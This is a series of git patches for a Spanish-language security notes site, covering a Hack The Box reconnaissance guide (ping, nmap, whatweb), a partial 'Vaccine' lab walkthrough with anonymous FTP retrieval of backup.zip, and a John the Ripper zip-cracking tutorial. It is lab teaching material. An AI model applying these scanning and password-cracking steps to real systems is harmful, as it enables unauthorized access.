HTB + + Aquí trato de mostrar unas pautas muy básicas de + reconocimiento. El reconocimiento es una parte + fundamental, ya que necesitamos conocer a lo que + nos enfrentamos para poder buscar vulnerabilidades. + + En primer lugar, debemos asegurar que estamos conectados + a la víctima y tratar de recopilar la máxima información + posible. + +# PING + + Para verificar la conexión y tener una primera toma de + contacto utilizaremos el comando 'ping'. + + ping [Ip Víctima] + + Mediante este comando podemos obtener la siguiente + información: + + - Verificar la conexión. + - La latencia. Podemos observar el tiempo de recorrido + de un paquete. + - Podemos obtener la Ip de un dominio. + - Determinar si estamos frente a un SO Linux o Windows: + Windows ttl = 128 + Linux ttl = 64 + + + # NMAP + + Tras conocer la máquina a la que nos enfrentamos + pasaremos analizar los protocolos tcp/udp. + + Primero analizaremos los puertos tcp ya que son los más + utilizados y los más rápidos de escanear. + + Mediante nmap realizaremos varios escaneos, el primero + será un análisis de todos los puertos abiertos del + protocolo tcp. + + nmap -p- --open -T5 -v -n [Ip] + + -p- : Escanea todo el rango de puertos. + + --open : Solo nos mostrará puertos con el estatus + abierto. + + -T5 : Controla el tiempo y el rendimiento del + escaneo donde 1 es el más lento y 5 el + más rápido. + + -v : Verbose. Recopila los puertos abiertos por + TCP y los reporta por consola. + + -n : Anula la resolución DNS. + + Ahora para poder trabajar mejor, exportaremos una lista + en formato Grepeable al archivo 'allPorts' + + nmap -p- --open -T5 -v -n [Ip] -oG allPorts + + -oG : Exportar los resultados en formato grepeable. + + allPorts : Nombre del archivo. Si no existe lo creará. + + De esta manera podremos revisar los puertos que estaban + abiertos en cualquier momento. + + # NMAP + +ESCANEO EXHAUSTIVO: + + Tras conocer los puertos TCP abiertos, realizaremos un + segundo escaneo enfocado en los puertos abiertos para ver + la información que nos reportan y exportarlo en formato + nmap al archivo 'targed'. + + nmap -sC -sV -p[Port1,Port2] -oN targed + + -sC : Lanza scrips básicos de reconocimiento. + + -sV : Localiza la versión y servicio de los puertos definidos. + + -p : Puertos a escanear. Ej: -p22,80 + + -oN : Reporta los resultados en formato nmap al archivo 'targed'. + + + # WHATWEB + + Es una herramienta que se utiliza para tratar de + averiguar + el gestor de contenido de la Ip. Nos reportará + información varia del sistema. + + whatweb http://[Ip] + + whatweb http://[Host] + + + From 5ced502c87b21995652727b7333b0a5333d62776 Mon Sep 17 00:00:00 2001 From: F1r0x <103068924+F1r0x@users.noreply.github.com> Date: Mon, 25 Apr 2022 20:41:31 +0200 Subject: [PATCH 0030/1701] Update and rename fase_de_reconocimiento-HTB to Fase_de_reconocimiento-HTB --- fase_de_reconocimiento-HTB => Fase_de_reconocimiento-HTB | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) rename fase_de_reconocimiento-HTB => Fase_de_reconocimiento-HTB (98%) diff --git a/fase_de_reconocimiento-HTB b/Fase_de_reconocimiento-HTB similarity index 98% rename from fase_de_reconocimiento-HTB rename to Fase_de_reconocimiento-HTB index 612e255be6a..dd8278e5ec9 100644 --- a/fase_de_reconocimiento-HTB +++ b/Fase_de_reconocimiento-HTB @@ -9,7 +9,7 @@ a la víctima y tratar de recopilar la máxima información posible. -# PING +## PING Para verificar la conexión y tener una primera toma de contacto utilizaremos el comando 'ping'. @@ -28,7 +28,7 @@ Linux ttl = 64 - # NMAP + ## NMAP Tras conocer la máquina a la que nos enfrentamos pasaremos analizar los protocolos tcp/udp. @@ -68,7 +68,7 @@ De esta manera podremos revisar los puertos que estaban abiertos en cualquier momento. - # NMAP + ## NMAP ESCANEO EXHAUSTIVO: @@ -88,7 +88,7 @@ ESCANEO EXHAUSTIVO: -oN : Reporta los resultados en formato nmap al archivo 'targed'. - # WHATWEB + ## WHATWEB Es una herramienta que se utiliza para tratar de averiguar From 737a169ec3ddeae0fcb10ac8b5641172d9edad3b Mon Sep 17 00:00:00 2001 From: F1r0x <103068924+F1r0x@users.noreply.github.com> Date: Mon, 25 Apr 2022 20:44:18 +0200 Subject: [PATCH 0031/1701] Update index.md --- index.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/index.md b/index.md index 2b90f8b987f..e1e6c347a10 100644 --- a/index.md +++ b/index.md @@ -17,7 +17,7 @@ ## Artículos -[Fase de Reconocimiento - HTB](./Fase_de_reconocimiento-HTB) +[Fase de Reconocimiento - HTB](./Fase_de_reconocimiento-HTB.html) From 525f2b357fd6f4f5cb279c993b50ab2a6cc8d267 Mon Sep 17 00:00:00 2001 From: F1r0x <103068924+F1r0x@users.noreply.github.com> Date: Mon, 25 Apr 2022 20:44:41 +0200 Subject: [PATCH 0032/1701] Rename Fase_de_reconocimiento-HTB to Fase_de_reconocimiento-HTB.md --- Fase_de_reconocimiento-HTB => Fase_de_reconocimiento-HTB.md | 0 1 file changed, 0 insertions(+), 0 deletions(-) rename Fase_de_reconocimiento-HTB => Fase_de_reconocimiento-HTB.md (100%) diff --git a/Fase_de_reconocimiento-HTB b/Fase_de_reconocimiento-HTB.md similarity index 100% rename from Fase_de_reconocimiento-HTB rename to Fase_de_reconocimiento-HTB.md From 24ef3e63eb1607b52cd2b6d4b28c1742d0ee3b7a Mon Sep 17 00:00:00 2001 From: F1r0x <103068924+F1r0x@users.noreply.github.com> Date: Mon, 25 Apr 2022 20:46:39 +0200 Subject: [PATCH 0033/1701] Update Fase_de_reconocimiento-HTB.md --- Fase_de_reconocimiento-HTB.md | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/Fase_de_reconocimiento-HTB.md b/Fase_de_reconocimiento-HTB.md index dd8278e5ec9..82b8b131184 100644 --- a/Fase_de_reconocimiento-HTB.md +++ b/Fase_de_reconocimiento-HTB.md @@ -28,7 +28,7 @@ Linux ttl = 64 - ## NMAP +## NMAP Tras conocer la máquina a la que nos enfrentamos pasaremos analizar los protocolos tcp/udp. @@ -68,7 +68,7 @@ De esta manera podremos revisar los puertos que estaban abiertos en cualquier momento. - ## NMAP +## NMAP ESCANEO EXHAUSTIVO: @@ -88,7 +88,7 @@ ESCANEO EXHAUSTIVO: -oN : Reporta los resultados en formato nmap al archivo 'targed'. - ## WHATWEB +## WHATWEB Es una herramienta que se utiliza para tratar de averiguar From 069f486c54ded799c8d74f871b2424e1e5098042 Mon Sep 17 00:00:00 2001 From: F1r0x <103068924+F1r0x@users.noreply.github.com> Date: Mon, 25 Apr 2022 21:22:25 +0200 Subject: [PATCH 0034/1701] Update Fase_de_reconocimiento-HTB.md --- Fase_de_reconocimiento-HTB.md | 5 +++++ 1 file changed, 5 insertions(+) diff --git a/Fase_de_reconocimiento-HTB.md b/Fase_de_reconocimiento-HTB.md index 82b8b131184..c7116615a81 100644 --- a/Fase_de_reconocimiento-HTB.md +++ b/Fase_de_reconocimiento-HTB.md @@ -1,3 +1,5 @@ +![ImageToStl com_1_znvi3p8txmgcsmmnxqa0ig](https://user-images.githubusercontent.com/103068924/165158987-4aa056d7-3c42-431c-ae7a-7a5f7f9e771e.png) + # Fase de Reconocimiento - HTB Aquí trato de mostrar unas pautas muy básicas de @@ -11,6 +13,9 @@ ## PING +![Captura de pantalla -2022-04-11 18-56-44](https://user-images.githubusercontent.com/103068924/165159179-2e3ba6e6-84b8-42d8-a2c0-817beac98552.png) + + Para verificar la conexión y tener una primera toma de contacto utilizaremos el comando 'ping'. From 8600f1e65726565c9b957523cf93cbb989e09052 Mon Sep 17 00:00:00 2001 From: F1r0x <103068924+F1r0x@users.noreply.github.com> Date: Mon, 25 Apr 2022 21:25:49 +0200 Subject: [PATCH 0035/1701] Update Fase_de_reconocimiento-HTB.md --- Fase_de_reconocimiento-HTB.md | 8 +++++++- 1 file changed, 7 insertions(+), 1 deletion(-) diff --git a/Fase_de_reconocimiento-HTB.md b/Fase_de_reconocimiento-HTB.md index c7116615a81..6d41e7b2194 100644 --- a/Fase_de_reconocimiento-HTB.md +++ b/Fase_de_reconocimiento-HTB.md @@ -11,6 +11,8 @@ a la víctima y tratar de recopilar la máxima información posible. +--- + ## PING ![Captura de pantalla -2022-04-11 18-56-44](https://user-images.githubusercontent.com/103068924/165159179-2e3ba6e6-84b8-42d8-a2c0-817beac98552.png) @@ -31,7 +33,8 @@ - Determinar si estamos frente a un SO Linux o Windows: Windows ttl = 128 Linux ttl = 64 - + +--- ## NMAP @@ -72,6 +75,8 @@ De esta manera podremos revisar los puertos que estaban abiertos en cualquier momento. + +--- ## NMAP @@ -92,6 +97,7 @@ ESCANEO EXHAUSTIVO: -oN : Reporta los resultados en formato nmap al archivo 'targed'. +--- ## WHATWEB From fa31ebaffdf501745f2440c5a6881f0a6e67d11b Mon Sep 17 00:00:00 2001 From: F1r0x <103068924+F1r0x@users.noreply.github.com> Date: Tue, 26 Apr 2022 08:00:10 +0200 Subject: [PATCH 0036/1701] Create HTB-Vaccine.md --- HTB-Vaccine.md | 14 ++++++++++++++ 1 file changed, 14 insertions(+) create mode 100644 HTB-Vaccine.md diff --git a/HTB-Vaccine.md b/HTB-Vaccine.md new file mode 100644 index 00000000000..a4cf34b36e1 --- /dev/null +++ b/HTB-Vaccine.md @@ -0,0 +1,14 @@ +![vaccine_banner](https://user-images.githubusercontent.com/103068924/165231176-ea7b6551-bdd2-4f3a-a5ba-5117de037506.png) + +# HTB - Vaccine + +Resolución del starting poing de Hack the Box Vaccine. + +## Fase de Reconocimiento: + +### Ping: + +En primer lugar, vamos a comprobar si tenemos conexión con la máquina. Y si podemos averiguar el sistema +operativo que utiliza mediante el ttl. + + ping [Ip Víctima] From f43e188bd746b6235edade0ad83950a28bdce44e Mon Sep 17 00:00:00 2001 From: F1r0x <103068924+F1r0x@users.noreply.github.com> Date: Tue, 26 Apr 2022 08:01:04 +0200 Subject: [PATCH 0037/1701] Update HTB-Vaccine.md --- HTB-Vaccine.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/HTB-Vaccine.md b/HTB-Vaccine.md index a4cf34b36e1..5f5bfc5b9a1 100644 --- a/HTB-Vaccine.md +++ b/HTB-Vaccine.md @@ -11,4 +11,4 @@ Resolución del starting poing de Hack the Box Vaccine. En primer lugar, vamos a comprobar si tenemos conexión con la máquina. Y si podemos averiguar el sistema operativo que utiliza mediante el ttl. - ping [Ip Víctima] + ping [Ip Víctima] From 179d5aa41220945eaa35a3b2c2aa9e7cc96e14dc Mon Sep 17 00:00:00 2001 From: F1r0x <103068924+F1r0x@users.noreply.github.com> Date: Tue, 26 Apr 2022 08:08:03 +0200 Subject: [PATCH 0038/1701] Update HTB-Vaccine.md --- HTB-Vaccine.md | 37 +++++++++++++++++++++++++++++++++++++ 1 file changed, 37 insertions(+) diff --git a/HTB-Vaccine.md b/HTB-Vaccine.md index 5f5bfc5b9a1..2619cf57d96 100644 --- a/HTB-Vaccine.md +++ b/HTB-Vaccine.md @@ -12,3 +12,40 @@ En primer lugar, vamos a comprobar si tenemos conexión con la máquina. Y si po operativo que utiliza mediante el ttl. ping [Ip Víctima] + +Podemos observar que tiene un ttl=63, por tanto, ya sabemos que estamos frente a una máquina Linux. + +### Nmap - Primer escaneo: + +Ahora podemos escanear los puertos mediante nmap. + + nmap -p- --open -T5 -n -v [Ip Víctima] -oG allPorts + +Esto nos guardará los puertos abiertos en el archivo 'allPorts' por si posteriormente queremos revisarlos +de manera rápida accediendo al archivo guardado en nuestro directorio mediante la herramienta 'extractPorts'. + + Puedes encontrar la descripción y la herramienta extractPorts creada por S4vitar en mi repositorio: + [ExtractPorts](https://f1r0x.github.io/ExtractPorts.html) + + Es este caso podemos observar los siguientes puertos abiertos por el protocolo TCP: + +### Nmap -Segundo escaneo: + +Ahora pasaremos a realizar un escaneo más exhaustivo: + + nmap -sC -sV -v -p22,80 [Ip Víctima] -oN target + + -sC : Lanza scrips básicos de reconocimiento. + + -sV : Localiza la versión y servicio de los puertos + definidos. + + -p : Puertos a escanear. Ej: -p22,80 + + -oN : Reporta los resultados en formato nmap al archivo + targed. + + Este escaneo, al igual que el anterior, nos guardará los resultados en nuestro directorio en el archivo 'target'. + + + From 5251f5c995837fa6b7546c4548122f40f5a5bb03 Mon Sep 17 00:00:00 2001 From: F1r0x <103068924+F1r0x@users.noreply.github.com> Date: Tue, 26 Apr 2022 09:44:49 +0200 Subject: [PATCH 0039/1701] Update HTB-Vaccine.md --- HTB-Vaccine.md | 105 +++++++++++++++++++++++++++++++++++++++++++++---- 1 file changed, 98 insertions(+), 7 deletions(-) diff --git a/HTB-Vaccine.md b/HTB-Vaccine.md index 2619cf57d96..6691e32875b 100644 --- a/HTB-Vaccine.md +++ b/HTB-Vaccine.md @@ -1,5 +1,7 @@ ![vaccine_banner](https://user-images.githubusercontent.com/103068924/165231176-ea7b6551-bdd2-4f3a-a5ba-5117de037506.png) +![Captura de pantalla -2022-04-26 08-13-51](https://user-images.githubusercontent.com/103068924/165234105-c74265cb-61e5-4ae5-abe7-0ee2dd77343d.png) + # HTB - Vaccine Resolución del starting poing de Hack the Box Vaccine. @@ -8,6 +10,8 @@ Resolución del starting poing de Hack the Box Vaccine. ### Ping: +![Captura de pantalla -2022-04-26 08-15-05](https://user-images.githubusercontent.com/103068924/165234174-ecb99114-7e36-4198-920b-d2b20f0397fd.png) + En primer lugar, vamos a comprobar si tenemos conexión con la máquina. Y si podemos averiguar el sistema operativo que utiliza mediante el ttl. @@ -24,28 +28,115 @@ Ahora podemos escanear los puertos mediante nmap. Esto nos guardará los puertos abiertos en el archivo 'allPorts' por si posteriormente queremos revisarlos de manera rápida accediendo al archivo guardado en nuestro directorio mediante la herramienta 'extractPorts'. - Puedes encontrar la descripción y la herramienta extractPorts creada por S4vitar en mi repositorio: +![Captura de pantalla -2022-04-26 08-27-45](https://user-images.githubusercontent.com/103068924/165235713-58183ec0-1a5a-47c7-bc14-280e3c01a3e5.png) + +Puedes encontrar la descripción y la herramienta extractPorts creada por S4vitar en mi repositorio: [ExtractPorts](https://f1r0x.github.io/ExtractPorts.html) - Es este caso podemos observar los siguientes puertos abiertos por el protocolo TCP: + ![Captura de pantalla -2022-04-26 08-28-45](https://user-images.githubusercontent.com/103068924/165235873-224f1a07-302a-44f8-9a98-1ed1fe43b982.png) + + Es este caso podemos observar los puertos 21, 22 y 80 abiertos por el protocolo TCP. ### Nmap -Segundo escaneo: -Ahora pasaremos a realizar un escaneo más exhaustivo: - - nmap -sC -sV -v -p22,80 [Ip Víctima] -oN target +Ahora pasaremos a realizar un escaneo más exhaustivo utilizando una serie de scrips de reconocimiento: + + ![Captura de pantalla -2022-04-26 08-32-53](https://user-images.githubusercontent.com/103068924/165236651-4c5809ad-145d-46a0-8633-a73f39a7cc16.png) + + nmap -sC -sV -v -p21,22,80 [Ip Víctima] -oN target -sC : Lanza scrips básicos de reconocimiento. -sV : Localiza la versión y servicio de los puertos definidos. - -p : Puertos a escanear. Ej: -p22,80 + -p : Puertos a escanear. Ej: -p21,22,80 -oN : Reporta los resultados en formato nmap al archivo targed. + +![Captura de pantalla -2022-04-26 08-33-37](https://user-images.githubusercontent.com/103068924/165236706-0e296151-667e-416a-aa1f-7ce1736086e7.png) + +Este escaneo, al igual que el anterior, nos guardará los resultados en nuestro directorio en el archivo 'target'. +Para abrir este archivo podemos utilizar el comando 'cat'. + +### Recopilación de los resultados: + +- Puerto 21/tcp: + +Algo interesante que podemos observar en el reporte de nmap es que el puerto 21/tcp permite el acceso mediante +el inicio de sesión Anonymous. Este inicio de sesión por defecto nos permite entrar con el usuario 'anonymous' +y sin necesidad de utilizar contraseña. + +También podemos observar que se encuentra un archivo disponible 'backup.zip'. + +- Puerto 22/tcp: + +Aquí podemos ver que tenemos un servicio ssh activo, usando un sistema Ubuntu. + +- Puerto 80/tcp: + +El puerto 80 tiene un servicio http activo, el cual, si nos dirigimos a firefox, podemos ver que nos reporta +hasta una página de registro: + +![Captura de pantalla -2022-04-26 08-50-57](https://user-images.githubusercontent.com/103068924/165239253-c94d3b6a-b2eb-40d3-b146-a856f5a25a7c.png) + +![Captura de pantalla -2022-04-26 08-51-56](https://user-images.githubusercontent.com/103068924/165239453-047552e4-a3da-4c9e-b7c0-1664b3d61ba8.png) + +Tras probar los usuarios y contraseñas más comunes no conseguimos entrar, por tanto, seguiremos investigando. + +En primer luegar, vamos a tratar de acceder como el usuario 'anonymous' por el puerto 80 que utiliza un servicio FTP +y descargar el archivo 'backup.zip'. + +Para ello emplearemos el comando 'ftp' y especificando el usuario 'anonymous', luego nos pedirá una contraseña, +como este usuario no requiere de contraseñas, simplemente presionamos Enter. + + ftp [Ip Víctima] + +![Captura de pantalla -2022-04-26 09-05-06](https://user-images.githubusercontent.com/103068924/165241789-d74af7bc-e2d4-447e-a14d-bb9ba38c8c62.png) + +Ahora, mediante un 'ls' o un 'dir', vamos a tratar de ver que archivos encontramos: + +![Captura de pantalla -2022-04-26 09-08-17](https://user-images.githubusercontent.com/103068924/165242129-6e01a7d9-8a34-4830-8d2d-fc048d9cb36b.png) + +En mi caso no me permite ejecutar ninguno de los dos comandos. Pero como podemos ver nos reporta que consideremos +utilizar PASV. Para ello, debemos activar el modo pasivo: + + passive + +![Captura de pantalla -2022-04-26 09-32-35](https://user-images.githubusercontent.com/103068924/165246354-7861cf17-7af4-46c5-aebf-27b9f840e97f.png) + +Tras activar el modo activo ya podremos utilizar el comando 'ls': + +![Captura de pantalla -2022-04-26 09-33-33](https://user-images.githubusercontent.com/103068924/165246513-1911dca6-689c-44c5-8276-04b01aab9b4d.png) + +Podemos ver que tenemos aquí el archvivo 'backup.zip'. Para tratar de descargarlo utilizaremos el comando 'get'. +Recordar que podeis ver todos los comandos disponibles dentro se la shell de ftp utilizando el comando 'help'. + +![Captura de pantalla -2022-04-26 09-37-02](https://user-images.githubusercontent.com/103068924/165247149-0af2a731-576c-45dd-9485-49d4e640cb10.png) + +Para descargar el archivo.zip: + + get backup.zip + +![Captura de pantalla -2022-04-26 09-39-21](https://user-images.githubusercontent.com/103068924/165247598-bf683380-5a76-4d0d-9859-c331c7d253f4.png) + +Tener en cuenta que la shell está es muy inestable, en caso de error o de reportaros un 'Not Service' cerrar la shell +con el comando 'exit' y volver a iniciar la shell siguiendo todos los pasos de manera continua, ya que a los pocos +minutos, se desconecta. + +Una vez descargado el archivo.zip, cerramos la shell ftp y nos derigimos al directorio donde hemos descargado el +arhcivo 'backup.zip'. + +![Captura de pantalla -2022-04-26 09-44-48](https://user-images.githubusercontent.com/103068924/165248630-8bfff5ae-d750-441f-bedd-064368a699b0.png) + + + + + + + - Este escaneo, al igual que el anterior, nos guardará los resultados en nuestro directorio en el archivo 'target'. From 7c158eb1b74ed37dc83f3f366666aef64529b1d1 Mon Sep 17 00:00:00 2001 From: F1r0x <103068924+F1r0x@users.noreply.github.com> Date: Tue, 26 Apr 2022 09:50:56 +0200 Subject: [PATCH 0040/1701] Update HTB-Vaccine.md --- HTB-Vaccine.md | 13 +++++++++++++ 1 file changed, 13 insertions(+) diff --git a/HTB-Vaccine.md b/HTB-Vaccine.md index 6691e32875b..271144fd5de 100644 --- a/HTB-Vaccine.md +++ b/HTB-Vaccine.md @@ -130,6 +130,19 @@ arhcivo 'backup.zip'. ![Captura de pantalla -2022-04-26 09-44-48](https://user-images.githubusercontent.com/103068924/165248630-8bfff5ae-d750-441f-bedd-064368a699b0.png) +Como podeís ver, tenemos los dos archivos previamente creados con nmap (allPorts y target) y nuestro archivo .zip. +Vamos a crear un directorio mediante 'mkdir' llamado 'Backup' y vamos a introducir el archivo .zip para luego tratar +de descomprimirlo. + + mkdir Backup + + mv backup.zip ./Backup/ + +Una vez dentro del nuevo directorio, aplicaremos el comando 'unzip' para tratar de descomprimirlo: + + unzip backup.zip + + From 094faf68d524056a9aef2dc7242e2e7391ee6112 Mon Sep 17 00:00:00 2001 From: F1r0x <103068924+F1r0x@users.noreply.github.com> Date: Tue, 26 Apr 2022 09:57:59 +0200 Subject: [PATCH 0041/1701] Update HTB-Vaccine.md --- HTB-Vaccine.md | 10 +++++++++- 1 file changed, 9 insertions(+), 1 deletion(-) diff --git a/HTB-Vaccine.md b/HTB-Vaccine.md index 271144fd5de..437ef015667 100644 --- a/HTB-Vaccine.md +++ b/HTB-Vaccine.md @@ -142,7 +142,15 @@ Una vez dentro del nuevo directorio, aplicaremos el comando 'unzip' para tratar unzip backup.zip - + +![Captura de pantalla -2022-04-26 09-52-39](https://user-images.githubusercontent.com/103068924/165250029-0c343ba8-29ae-446e-91e7-87b7b2160eff.png) + +Al intentar descomprimir el arhcivo nos pide una contraseña, como desconozco la contraseña, presionado 'Enter' +podemos ver como nos reporta que dentro del .zip contiene dos archivos (index.php y style.css): + +![Captura de pantalla -2022-04-26 09-57-17](https://user-images.githubusercontent.com/103068924/165250925-0f1270d2-0200-426e-9f64-8c475f88bfde.png) + + From 8266c5d0f7208483acda30d2d8d4e6a336a8783a Mon Sep 17 00:00:00 2001 From: F1r0x <103068924+F1r0x@users.noreply.github.com> Date: Tue, 26 Apr 2022 10:10:00 +0200 Subject: [PATCH 0042/1701] Update HTB-Vaccine.md --- HTB-Vaccine.md | 2 ++ 1 file changed, 2 insertions(+) diff --git a/HTB-Vaccine.md b/HTB-Vaccine.md index 437ef015667..5c48e3f0e7a 100644 --- a/HTB-Vaccine.md +++ b/HTB-Vaccine.md @@ -156,6 +156,8 @@ podemos ver como nos reporta que dentro del .zip contiene dos archivos (index.ph + + From 665087fc58b17a6aba88053a9ed03a911d761a46 Mon Sep 17 00:00:00 2001 From: F1r0x <103068924+F1r0x@users.noreply.github.com> Date: Tue, 26 Apr 2022 10:22:02 +0200 Subject: [PATCH 0043/1701] Update HTB-Vaccine.md --- HTB-Vaccine.md | 5 +++++ 1 file changed, 5 insertions(+) diff --git a/HTB-Vaccine.md b/HTB-Vaccine.md index 5c48e3f0e7a..0aa2ae80bef 100644 --- a/HTB-Vaccine.md +++ b/HTB-Vaccine.md @@ -150,6 +150,11 @@ podemos ver como nos reporta que dentro del .zip contiene dos archivos (index.ph ![Captura de pantalla -2022-04-26 09-57-17](https://user-images.githubusercontent.com/103068924/165250925-0f1270d2-0200-426e-9f64-8c475f88bfde.png) +Como desconocemos la contraseña, vamos a utilizar la herramienta John the Ripper para tratar de descifrarla. En +caso de no tener la herramienta instalada o queráis leer más sobre ella podréis encontrarlo en el siguiente enlace: + +[John the Ripper](./john_the_ripper.html) + From 50c375dc199170043a30156c133b97acafae0ba7 Mon Sep 17 00:00:00 2001 From: F1r0x <103068924+F1r0x@users.noreply.github.com> Date: Tue, 26 Apr 2022 10:39:04 +0200 Subject: [PATCH 0044/1701] Create john_the_ripper.md --- john_the_ripper.md | 26 ++++++++++++++++++++++++++ 1 file changed, 26 insertions(+) create mode 100644 john_the_ripper.md diff --git a/john_the_ripper.md b/john_the_ripper.md new file mode 100644 index 00000000000..cad719db372 --- /dev/null +++ b/john_the_ripper.md @@ -0,0 +1,26 @@ +![john-the-ripper](https://user-images.githubusercontent.com/103068924/165256644-634b06fa-bd19-4238-8f4f-00bf93aa165e.png) + +# JOHN THE RIPPER + +John the Ripper es una herramienta de software gratuita para descifrar contraseñas. Originalmente desarrollado +para el sistema operativo Unix, puede ejecutarse en quince plataformas diferentes (once de las cuales son versiones +específicas de la arquitectura de Unix, DOS, Win32, BeOS y OpenVMS). Es uno de los programas de prueba y ruptura de +contraseñas más utilizados, ya que combina una serie de crackers de contraseñas en un solo paquete, detecta +automáticamente los tipos de hash de contraseña e incluye un cracker personalizable. Se puede ejecutar en varios +formatos de contraseña cifrada, incluidos varios tipos de hash de contraseña cifrada que se encuentran más comúnmente +en varias versiones de Unix (basadas en DES, MD5 o Blowfish), Kerberos AFS y Windows NT/2000/XP/2003 LM hash. + +Los módulos adicionales han ampliado su capacidad para incluir hash de contraseñas basadas en MD4 y contraseñas +almacenadas en LDAP, MySQL y otros. + +## Instalación: + +John the Ripper viene preinstalado con Parrot OS y Kali Linux, sin embargo, si no lo tiene, puedes instalarlo desde +el repositorio: + + sudo apt install john + + +## Instrucciones de uso: + +Para tratar de From 58a1662b2741a2357a5b0503f9236453d75907c5 Mon Sep 17 00:00:00 2001 From: F1r0x <103068924+F1r0x@users.noreply.github.com> Date: Tue, 26 Apr 2022 11:11:21 +0200 Subject: [PATCH 0045/1701] Update john_the_ripper.md --- john_the_ripper.md | 37 ++++++++++++++++++++++++++++++++++++- 1 file changed, 36 insertions(+), 1 deletion(-) diff --git a/john_the_ripper.md b/john_the_ripper.md index cad719db372..6ceb5f209ac 100644 --- a/john_the_ripper.md +++ b/john_the_ripper.md @@ -23,4 +23,39 @@ el repositorio: ## Instrucciones de uso: -Para tratar de +Para utilizar John, primero debemos de entender bien como funciona el sistema de hash y de contraseñas. + +Antes de ejecutrar John, tendremos que extraer el hash del archivo que queremos descifrar. Para posteriormente saber +que algoritmo de hash utiliza, y luego, por medio de un diccionario, utilizar fuerza bruta hasta descibrar el hash. + +Las funciones más típicas de hash de contraseñas son MD5, SHA-1, SHA2-256, SHA2-512 entre otras. + +Actualmente los algoritmos más comunes para proteger las contraseñas son KDF: Argon2 (KDF) scrypt (KDF) bcrypt PBKDF2 +(KDF). + +La principal diferencia entre un KDF y una función de hash de contraseñas, es que la longitud con los KDF +es arbitraria, y en las típicas funciones hash tienen una salida de longitud fija. + +No obstante, se siguen utilizando mucho las funciones de hash. + +### Extraer hash de un .zip: + + zip2john [archivo.zip] > hash1 + +De está manera extraeremos el hash del archivo .zip en el archivo 'hash1' para posteriormente poder trabajar con él. + +### Ejecutar John y el diccionario rockyou.txt: + + john --wordlist=/usr/share/wordlists/rockyou.txt hash1 + +![Captura de pantalla -2022-04-26 11-07-52](https://user-images.githubusercontent.com/103068924/165265458-aef0e310-ff62-4057-90ce-be6f8a65c45c.png) + +El archivo rockyou.txt es un diccionario con mas de 14 millones de contraseñas. En caso de no tenerlo, podeis +descargarlo y guardarlo en la ruta /usr/share/wordlists/ + +Muy bien, ahora para poder ver la contraseña descifrada: + + john --show hash + + ![Captura de pantalla -2022-04-26 11-10-46](https://user-images.githubusercontent.com/103068924/165265589-818f0f4e-9b0b-42fa-ad8d-250a3a585601.png) + From 6151a66256437715ed6c85a87422877caab711a6 Mon Sep 17 00:00:00 2001 From: F1r0x <103068924+F1r0x@users.noreply.github.com> Date: Tue, 26 Apr 2022 11:15:06 +0200 Subject: [PATCH 0046/1701] Update john_the_ripper.md --- john_the_ripper.md | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/john_the_ripper.md b/john_the_ripper.md index 6ceb5f209ac..68a315ea310 100644 --- a/john_the_ripper.md +++ b/john_the_ripper.md @@ -40,13 +40,13 @@ No obstante, se siguen utilizando mucho las funciones de hash. ### Extraer hash de un .zip: - zip2john [archivo.zip] > hash1 + zip2john [archivo.zip] > hash -De está manera extraeremos el hash del archivo .zip en el archivo 'hash1' para posteriormente poder trabajar con él. +De está manera extraeremos el hash del archivo .zip en el archivo 'hash' para posteriormente poder trabajar con él. ### Ejecutar John y el diccionario rockyou.txt: - john --wordlist=/usr/share/wordlists/rockyou.txt hash1 + john --wordlist=/usr/share/wordlists/rockyou.txt hash ![Captura de pantalla -2022-04-26 11-07-52](https://user-images.githubusercontent.com/103068924/165265458-aef0e310-ff62-4057-90ce-be6f8a65c45c.png) From d0b7dee9a5581d295fc8ea02076299097085098c Mon Sep 17 00:00:00 2001 From: F1r0x <103068924+F1r0x@users.noreply.github.com> Date: Tue, 26 Apr 2022 11:16:19 +0200 Subject: [PATCH 0047/1701] Update john_the_ripper.md --- john_the_ripper.md | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/john_the_ripper.md b/john_the_ripper.md index 68a315ea310..b7c4c0aa063 100644 --- a/john_the_ripper.md +++ b/john_the_ripper.md @@ -42,7 +42,7 @@ No obstante, se siguen utilizando mucho las funciones de hash. zip2john [archivo.zip] > hash -De está manera extraeremos el hash del archivo .zip en el archivo 'hash' para posteriormente poder trabajar con él. +De esta manera extraeremos el hash del archivo .zip en el archivo 'hash' para posteriormente poder trabajar con él. ### Ejecutar John y el diccionario rockyou.txt: @@ -50,7 +50,7 @@ De está manera extraeremos el hash del archivo .zip en el archivo 'hash' para p ![Captura de pantalla -2022-04-26 11-07-52](https://user-images.githubusercontent.com/103068924/165265458-aef0e310-ff62-4057-90ce-be6f8a65c45c.png) -El archivo rockyou.txt es un diccionario con mas de 14 millones de contraseñas. En caso de no tenerlo, podeis +El archivo rockyou.txt es un diccionario con más de 14 millones de contraseñas. En caso de no tenerlo, podéis descargarlo y guardarlo en la ruta /usr/share/wordlists/ Muy bien, ahora para poder ver la contraseña descifrada: From d97d2c0bee758dba7508519cf3c114e10ba0166d Mon Sep 17 00:00:00 2001 From: F1r0x <103068924+F1r0x@users.noreply.github.com> Date: Tue, 26 Apr 2022 11:23:53 +0200 Subject: [PATCH 0048/1701] Update index.md --- index.md | 2 ++ 1 file changed, 2 insertions(+) diff --git a/index.md b/index.md index e1e6c347a10..4160575a8db 100644 --- a/index.md +++ b/index.md @@ -6,6 +6,8 @@ [HTB-Responder](./HTB-Responder.html) +[HTB-Vaccine](./HTB-Vaccine.html) + ## Herramientas y Scripts From 319927e02950ff12686132d3ed122329ce8d253c Mon Sep 17 00:00:00 2001 From: F1r0x <103068924+F1r0x@users.noreply.github.com> Date: Tue, 26 Apr 2022 11:26:25 +0200 Subject: [PATCH 0049/1701] Update index.md --- index.md | 2 ++ 1 file changed, 2 insertions(+) diff --git a/index.md b/index.md index 4160575a8db..9daef6584b4 100644 --- a/index.md +++ b/index.md @@ -17,6 +17,8 @@ [php-reverse-shell.php](./php-reverse-shell.html) +[John the Ripper](./john_the_ripper.html) + ## Artículos [Fase de Reconocimiento - HTB](./Fase_de_reconocimiento-HTB.html) From 787b313b23a5a62dd781e73fd37f9855ae224f62 Mon Sep 17 00:00:00 2001 